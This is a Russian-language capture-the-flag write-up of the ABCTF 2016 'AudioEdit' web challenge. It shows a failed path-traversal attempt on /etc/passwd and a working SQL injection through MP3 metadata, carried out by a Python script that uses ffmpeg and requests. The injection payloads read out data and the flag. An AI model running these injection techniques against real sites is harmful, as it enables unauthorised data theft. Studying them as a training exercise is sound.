AudioEdit Writeup

Сегодня мы разберем один из самых интересных тасков на веб с ABCTF 2016 - AudioEdit!

Описание таска:

I made a cool site to edit audio files. Can you exploit it?


Нам дана ссылка на сайт http://107.170.122.6/audioedit/ в котором можно отсылать mp3 файл и редактировать его.

Главная страница:

AudioEdit Writeup


Переходим по кнопке Upload на страницу upload.php и видим следующее:

AudioEdit Writeup

Попробуем отослать какой-нибудь mp3 файл, подождем немного и уже видим обновленную страницу (взял для тестирования аудио 15-track-15.mp3 [320,7 Kb] (cкачиваний: 101) )

AudioEdit Writeup

Адрес страницы
http://107.170.122.6/audioedit/edit.php?file=953f7eb470b1b8f63f0d6451e58157606a3ac57c.mp3


На этом моменте сразу две идеи.

Первая - local file inclusion.

Попробуем подкачать файл /etc/passwd :

http://107.170.122.6/audioedit/edit.php?file=../../../../../../../../../etc/passwd


И.. видим следующую ошибку:

AudioEdit Writeup

Error fetching audio file from DB!


Идея с треском провалилась! Все файловые параметры проверяются по БД и подкачать файл, которого нет в бд, не получится.

Особо внимательные заметят, что при обращении к нашему edit.php?file=.mp3 файлу браузер переходил по ссылке /uploads/.mp3, так что LFI (Local File Inclusion) невозможна! Перейдем ко второй идее...

Вторая - PHP file upload.

Что нам мешает отослать файл не mp3, а php файл? Пробуем!

Invalid file format.


(спустя два часа)

Мы перепробовали все, что только можно! И меняли тип, и нулевой байт - в общем зря потратили время.

Значит способ наш оказался провальным!


Единственное, что осталось - это злополучное аудио. Заметим, что на странице редактирования аудио (третий скрин) у нас каким то образом извлекли заголовок и автора аудиозаписи. Раз наше аудио обрабатывается только в браузере (а файл в неизмененном виде перемещается), то логично предположить, что заголовок и автор песни хранятся в соответствующих колонках в базе данных!

Давайте тестировать. Для того, чтобы поменять данные mp3 файла мы воспользуемся ffmpeg (хотя первоначально я использовал itunes).

Следующая команда меняет заголовок и автора песни:

ffmpeg -i in.mp3 -metadata title=" '()<>test1" -metadata artist="'()<>test2" out.mp3



Отправляем аудиозапись и видим следующую ошибку:

Error inserting into database!



Это же SQL Insert/Update Injection!

Напомню синтаксис SQL Insert:

INSERT into TABLE values('first','second')


И в случае, если у нас есть иньекция в двух параметрах (а у нас она присутствует как в author, так и в title) то мы можем изменяя первый параметр выводить результаты запроса в поле второго параметра!

Пример:

Если мы вставим в первый параметр

1', (select version()) ) -- 


и наш запрос примет вид

INSERT into TABLE values('1', (select version()) ) -- 


В итоге вместо слова 'second' занесется версия MySQL.


Так и в нашем случае - только первый параметр является artist, а второй параметр - title. Узнать это можно было опытным путем.


Напишем программу, с которой нам будет удобнее получать результат запроса:



import requests,os,string,random

sql="',(SELECT version())                   ) --   " #Наш SQL запрос


#случайная строка длинной 10 (дубликаты файлов на сервере не сохраняются, поэтому нужна отличная хеш-сумма)
ra = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10))

#из файла test1.mp3 делаем test3.mp3 с обновленным заголовком title.
os.system("ffmpeg -i test1.mp3 -metadata artist=\""+sql+"\" -metadata title=\""+ra+"\" test3.mp3")
 

#POST отсылка файла test3.mp3
r = requests.post('http://107.170.122.6/audioedit/submit_upload.php', files={'audio': open('test3.mp3', 'rb')}, allow_redirects=False )

#удаляем test3.mp3 для дальнейшего тестирования
os.system("rm test3.mp3")

#парсим страницу с файлом и выводим строку с выводом нашего SQL запроса.
if 'location' in r.headers:
    r = requests.get('http://107.170.122.6/audioedit'+r.headers['location'][1:])
    t = r.text.split('<h5>Title: <small>')
    t = t[1].split('</small>')
    k = t[0]
    print(k)




Пример работы:

<<',(SELECT version())                   ) --   

>>5.5.49-0ubuntu0.14.04.1



Теперь мы можем с легкостью эксплуатировать SQL injection!
Начинаем стандартными способами получать базы данных, таблицы и колонки (напоминаю, что в конце SELECT запроса нужно ставить limit x,1 чтобы это значение могло быть сохранено):


DB:audioedit
TABLE:audioedit
COLUMNS: id,file,author, title


Далее был небольшой затык - не скачивались данные из таблицы с файлами. Оказалось то, что у нас не INSERT, а UPDATE запрос! А в нем нельзя получить данные таблицы, которую обновляете.
Но это тоже можно обойти - для этого воспользуемся помощью гугла:

AudioEdit Writeup

Первая же ссылка рассказала нам, что выбирать из таблицы можно следующим способом:

SELECT MIN(pos)-1 FROM (SELECT * FROM forms) AS x


Преобразуем под наш запрос и получаем:

sql="',(SELECT file FROM (SELECT * FROM audioedit) AS x limit 0,1)                   ) --   "


Пояснение: мы хотим получить первую запись колонки file из таблицы audioedit.

Вывод программы:

supersecretflagf1le.mp3



И тут была еще одна подстава! Скачав файл, получаем аудио с тихими сигналами.
Но не даром же это WEB таск, а не стеганография!
Подгружаем наш аудиофайл в AudioEdit страничке:

http://107.170.122.6/audioedit/edit.php?file=supersecretflagf1le.mp3


Поэкспериментируем с визуализацией и.. включив сонограмму видим ФЛАГ!!

AudioEdit Writeup


Вот и все!

FLAG: ABCTF{m3t4_inj3cti00n}


P.S. По большей части в таске проверялись знания SQL Insert/Update injection.скачать dle 10.5фильмы бесплатно

  • Автор: drakylar
  • Комментарии: 0
  • Просмотры: 6002

Добавить комментарий

Вы не авторизованы и вам запрещено писать комментарии. Для расширенных возможностей зарегистрируйтесь!